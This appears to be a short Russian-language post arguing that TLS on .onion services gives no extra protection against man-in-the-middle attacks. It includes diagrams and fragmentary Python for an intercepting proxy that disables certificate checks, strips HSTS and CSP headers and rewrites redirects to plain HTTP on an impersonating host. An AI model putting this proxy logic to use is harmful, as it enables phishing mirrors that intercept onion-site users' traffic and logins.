MITM TLS в TOR (https на .onion - не анонимно и не безопасно для пользователя)

TL;DR
TLS не имеет смысла, с TLS .onion сервисы можно взламывать настолько же просто, как и без TLS, разницы никакой нет. Саму функцию TLS выполняет и заменяет .onion адрес сервиса, который и служит верификацией публичного ключа

USER <--> ONION SERVER

USER <--> ATTACKER(FAKE) <--> ONION SERVER

USER <--> ONION SERVER
 ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,,,,,,,,,,,,<--  TLS

USER <--> HTTP FAKE <--> ONION SERVER
 ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,,,,,,,,,, ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,,,,,,,,,, ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,,,,,,,,,, ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,<-- TLS

USER <--> FAKE <--> ONION SERVER
‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,,,,,,,,,,<--  TLS‎‎‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎ ‎,,,,,,,,,,,,,<--  TLS

import urllib3
from urllib.parse import urlparse, urlunparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

u = f'https://{TGT}{self.path}'

r = requests.request(
                self.command, u, headers=hdrs, data=b,
                allow_redirects=False,
                proxies={'http': SOCKS, 'https': SOCKS},
                timeout=30, verify=False
            )

                if kl in {'content-length', 'transfer-encoding', 'content-encoding',
                          'connection', 'strict-transport-security', 'content-security-policy'}:
                    continue

if kl == 'location':
    p = urlparse(v)
    v = urlunparse(('http', RPL, p.path or '/', p.params, p.query, p.fragment))

if ct.startswith(('text', 'application/json', 'application/xml', 'application/javascript'))